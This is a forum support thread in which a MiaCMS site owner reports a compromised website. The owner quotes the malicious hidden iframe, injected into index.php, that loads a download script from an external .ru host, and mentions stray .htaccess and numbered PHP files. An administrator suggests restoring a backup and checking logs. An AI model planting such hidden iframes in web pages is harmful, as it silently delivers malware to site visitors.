• Registered: 2008-06-08
  • Posts: 31

Topic: Virus

I don't know where to put this topic at, but i supposed this should be the place.

I was wondering what happened to my website. Upon loading it, it started to download some file from unknown site and my anti-virus detected it. I suspected because i'm serving ad from google, but then, my other pages that not using MIAcms yet serve google ad doesn't have this kind of thing. So yah, what could probably happen when "this download script" could suddenly attached to the miacms script?It just happen today.

Appreciate your assistance.

Thanks
Regards.

  • Registered: 2008-06-08
  • Posts: 31

Re: Virus

Hi all,

when i check my index.php thoroughly...i found something.. :
<iframe src="http://studentz.ru/images/pic/go.php?sid=3" style="visibility: hidden; display: none"></iframe>

I wonder who the hell insert this link...i didn't go to the link...just sharing, so anyone please dont go to this link if unsure its safe or not..I wonder, which other files this script is in...and how should i remove all them without going through every files? sad

  • cauld
  • Administrator
  • Offline
  • From: California, USA
  • Registered: 2008-05-02
  • Posts: 599

Re: Virus

Sounds like you might be better to restore a clean backup than work through all the files.

http://brilaps.com
http://opensourcepenguin.net

cauld's Website

  • Registered: 2008-06-08
  • Posts: 31

Re: Virus

yup...what to do... sad

I'm just wondering how can that happen...and i saw ".htaccess" and some random numerical file like 434567.php in most folders and the index.php is injected with that iframe. script. I hope someone could shed some light...

  • cauld
  • Administrator
  • Offline
  • From: California, USA
  • Registered: 2008-05-02
  • Posts: 599

Re: Virus

You would have to go digging through logs files and probably have to work with your hosting company to determine the exact cause.  Are you running the latest version of MiaCMS, version 4.8.1?  The most common source of security exploits come from insecure 3rd party extensions since these do not go through an official review process.

http://brilaps.com
http://opensourcepenguin.net

cauld's Website

  • Registered: 2008-06-08
  • Posts: 31

Re: Virus

Yup, running on 4.8.1...loading YUI from yahoo...3rd party extension that i installed is only a counter which i have been using since mambo...

I'll run through my log files later on..now have to clean up e mess